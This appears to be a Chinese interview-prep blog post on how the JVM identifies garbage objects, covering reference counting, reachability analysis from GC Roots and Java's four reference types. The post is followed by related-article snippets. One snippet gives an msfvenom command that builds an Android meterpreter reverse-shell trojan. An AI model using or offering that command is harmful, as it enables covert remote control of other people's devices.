面试必问:JVM 如何确定死亡对象?
在 JVM 中,有两个非常重要的知识点,一个是 JVM 的内存布局(JVM 运行时的数据区域),另一个就是垃圾回收。而垃圾回收中又有两个重要的知识点,一个是如何确定 JVM 中的垃圾对象,另一个是使用不同的垃圾收集器进行垃圾回收。而本篇要讨论的是前者,后面的内容咱们下一篇再聊。
垃圾对象的判定有两种常用的算法:引用计数器算法和可达性分析算法。
1.引用计数器算法
引用计数算法(Reference Counting) 属于垃圾收集器的早期实现算法了,它指的是在创建对象时关联一个与之相对应的计数器,当此对象被使用时加 1,相反销毁时 -1。当此计数器为 0 时,则表示此对象未使用,可以被垃圾收集器回收。
引用计数算法的优缺点很明显,其优点是垃圾回收比较及时,实时性比较高,只要对象计数器为 0,则可以直接进行回收操作;而缺点是无法解决循环引用的问题,比如以下代码:
public class RefCounterTest {
// 对象 A
static class RefObjectA {
private RefObjectB refObjectB;
public void setRefObjectB(RefObjectB refObjectB) {
this.refObjectB = refObjectB;
}
}
// 对象 B
static class RefObjectB {
private RefObjectA refObjectA;
public void setRefObjectA(RefObjectA refObjectA) {
this.refObjectA = refObjectA;
}
}
// 测试代码
public static void main(String[] args) {
RefObjectA objectA = new RefObjectA();
RefObjectB objectB = new RefObjectB();
objectA.setRefObjectB(objectB);
objectB.setRefObjectA(objectA);
objectA = null;
objectB = null;
}
}
如以上代码所示,即使是将 main 方法中的 objectA 和 objectB 都设置为 null,也就是这两个对象都彻底不使用了,但是因为二者存在相互引用的关系,所以它们所对应的对象计数器不为 0,这样循环引用导致垃圾数据无法被清除的事件就产生了。
2.可达性分析算法
可达性分析算法(Reachability Analysis) 是目前主流虚拟机中,使用最广泛的判断垃圾对象的实现算法,它指的是从对象的起点(GC Roots)开始向下搜索,如果对象到 GC Roots 没有任何引用链相连时,也就是说此对象到 GC Roots 不可达时,则表示此对象可以被垃圾回收器所回收,如下图所示:

在 Java 语言中,可作为根节点(GC Roots)的对象有以下 4 类:
- Java 虚拟机栈中的引用对象,也就是 Java 虚拟机栈帧中,本地变量表所存储的(引用)对象。在 Java 虚拟机栈帧中存储的对象都是将来执行时,要使用的对象,所以和引用对象相关的对象都不能被回收;
- 本地方法栈中的引用对象和 Java 虚拟机栈中的引用对象类似,也不能被回收;
- 方法区中类静态属性引用的对象也可以作为 GC Roots;
- 方法区中常量引用的对象也可以作为 GC Roots。因为常量是保存在常量池中的,属于全局可使用的对象,所以也能作为 GC Roots。
3.有关“引用”
不管是引用计数法还是可达性分析算法都与对象的“引用”有关,这说明对象的引用决定了对象的生死,而 Java 中的引用也比较复杂,它从 JDK 1.2 之后,(引用)分成了以下 4 种类型:
- 强引用:在代码中普遍存在的,类似
Object obj = new Object()这类引用,只要强引用还在,垃圾收集器永远不会回收掉被引用的对象; - 软引用:是一种相对强引用弱化一些的引用,可以让对象豁免一些垃圾收集,只有当 JVM 认为内存不足时,才会去试图回收软引用指向的对象,JVM 会确保在抛出 OutOfMemoryError 之前,清理软引用指向的对象;
- 弱引用:非必需对象,但它的强度比软引用更弱,被弱引用关联的对象只能生存到下一次垃圾收集发生之前;
- 虚引用:也称为幽灵引用或幻影引用,是最弱的一种引用关系,无法通过虚引用来获取一个对象实例,为对象设置虚引用的目的只有一个,就是当着个对象被收集器回收时收到一条系统通知。
总结
垃圾对象的判定有两种常用的算法:引用计数器算法和可达性分析算法。其中引用计数器算法实现简单、运行高效,但是存在循环引用的问题,所以主流的虚拟机使用的都是可达性分析算法,可达性分析算法是从对象的根节点 GC Roots 向下搜索,如果根节点相连就是正常的对象,否则为垃圾对象可以被垃圾回收器回收。
本文已收录到 Gitee 开源仓库《Java 面试指南》,其中包含的内容有:Redis、JVM、并发、并发、MySQL、Spring、Spring MVC、Spring Boot、Spring Cloud、MyBatis、设计模式、消息队列等模块。Java 面试有它就够了:超全 Java 常见面试题,持续更新...
面试必问:JVM 如何确定死亡对象?的更多相关文章
- 面试必问:JVM类加载机制详细解析
前言 在Java面试中,简历上有写JVM(Java虚拟机)相关的东西,JVM的类加载机制基本是面试必问的知识点. 类的加载和卸载 JVM是虚拟机的一种,它的指令集语言是字节码,字节码构成的文件是cla ...
- linux驱动工程面试必问知识点
linux内核原理面试必问(由易到难) 简单型 1:linux中内核空间及用户空间的区别?用户空间与内核通信方式有哪些? 2:linux中内存划分及如何使用?虚拟地址及物理地址的概念及彼此之间的转化, ...
- 互联网公司面试必问的Redis题目
Redis是一个非常火的非关系型数据库,火到什么程度呢?只要是一个互联网公司都会使用到.Redis相关的问题可以说是面试必问的,下面我从个人当面试官的经验,总结几个必须要掌握的知识点. 介绍:Redi ...
- 【面试必问】python实例方法、类方法@classmethod、静态方法@staticmethod和属性方法@property区别
[面试必问]python实例方法.类方法@classmethod.静态方法@staticmethod和属性方法@property区别 1.#类方法@classmethod,只能访问类变量,不能访问实例 ...
- 互联网公司面试必问的mysql题目(上)
又到了招聘的旺季,被要求准备些社招.校招的题库.(如果你是应届生,尤其是东北的某大学,绝对福利哦) 介绍:MySQL是一个关系型数据库管理系统,目前属于 Oracle 旗下产品.虽然单机性能比不上or ...
- 一线大厂Java面试必问的2大类Tomcat调优
一.前言 最近整理了 Tomcat 调优这块,基本上面试必问,于是就花了点时间去搜集一下 Tomcat 调优都调了些什么,先记录一下调优手段,更多详细的原理和实现以后用到时候再来补充记录,下面就来介绍 ...
- 高级测试工程师面试必问面试基础整理——python基础(一)(首发公众号:子安之路)
现在深圳市场行情,高级测试工程师因为都需要对编程语言有较高的要求,但是大部分又没有python笔试机试题,所以面试必问python基础,这里我整理一下python基本概念,陆续收集到面试中python ...
- TCP的分分合合(面试必问)
TCP连接与断开 目录 TCP连接与断开 前言 握手 挥手 最后 前言 相信面试过的小伙伴对这个话题应该不陌生,算是面试必问了,三次握手,四次挥手,以及其中的一些衍生问题. TCP/IP(Transm ...
- 互联网公司面试必问的mysql题目(下)
这是mysql系列的下篇,上篇文章地址我附在文末. 什么是数据库索引?索引有哪几种类型?什么是最左前缀原则?索引算法有哪些?有什么区别? 索引是对数据库表中一列或多列的值进行排序的一种结构.一个非常恰 ...
- python笔记39-unittest框架如何将上个接口的返回结果给下个接口适用(面试必问)
前言 面试必问:如何将上个接口的返回结果,作为下个接口的请求入参?使用unittest框架写用例时,如何将用例a的结果,给用例b使用. unittest框架的每个用例都是独立的,测试数据共享的话,需设 ...
随机推荐
- 【云原生 · Kubernetes】部署 kube-proxy 组件
个人名片: 因为云计算成为了监控工程师 个人博客:念舒_C.ying CSDN主页️:念舒_C.ying kube-proxy 运行在所有 worker 节点上,它监听 apiserver 中 se ...
- golang面向对象
一.方法 1.方法是作用在指定的数据类型上,和指定的数据类型绑定,因此自定义类型都可以有方法,而不仅仅是struct: 2.方法的申明和格式调用: package main import ( &quo ...
- SSH(六)hibernate持久层模板于事务管理
持久层只要完成数据对数据库增删改查的操作,我们常说的hibernate区别于mybatis是在于他的全自动,而hibernate的全自动则主要体现于 他的模板,一些简单的数据操作我们就不用再去手写sq ...
- js拓展-Dom与事件,字符串,数组方法,object对象,作用域
js-扩展-Dom与事件 ```text # dom 文档对象模型,document object model ### 获取dom(js中的选择器) js let list=document.getE ...
- 【每日一题】【栈和队列、双端队列】20. 有效的括号/NC52 有效括号序列-211127/220126
给定一个只包括 '(',')','{','}','[',']' 的字符串 s ,判断字符串是否有效. 有效字符串需满足: 左括号必须用相同类型的右括号闭合.左括号必须以正确的顺序闭合. 来源:力扣(L ...
- 当 xxl-job 遇上 docker → 它晕了,但我不能乱!
开心一刻 某次住酒店,晚上十点多叫了个外卖 过了一阵儿,外卖到了 因为酒店电梯要刷卡,所以我下楼去接 到了电梯口看到个模样不错的妹纸 我:是你么? 妹纸愣了下:嗯! 于是拉上进电梯回房间,正准备开始呢 ...
- DenseNet 论文解读
目录 目录 摘要 网络结构 优点 代码 问题 参考资料 摘要 ResNet 的工作表面,只要建立前面层和后面层之间的"短路连接"(shortcut),就能有助于训练过程中梯度的反向 ...
- 监控Android(生成木马)
生成木马: sudo su msfvenom --platform android -p android/meterpreter/reverse_tcp lhost=IP地址 lport=端口号 R ...
- Ubuntu:Docker启动与停止
安装完成Docker后,默认已经启动了docker服务,如需手动控制docker服务的启停,可执行如下命令 启动docker sudo service docker start 停止docker su ...
- shape {select ...} append ({select ...} RELATE ID TO PARAMETER 0,ID TO PARAMETER 1)
1.问题描述 最近在写vb.net的时候,碰到了一个有点棘手的问题.就是在vb里面去解决一对多的关系. 对应关系如下,一个合同会对应多个开票. 最简单暴力的方法就是循环查询了,但是这样子肯定不行的.如 ...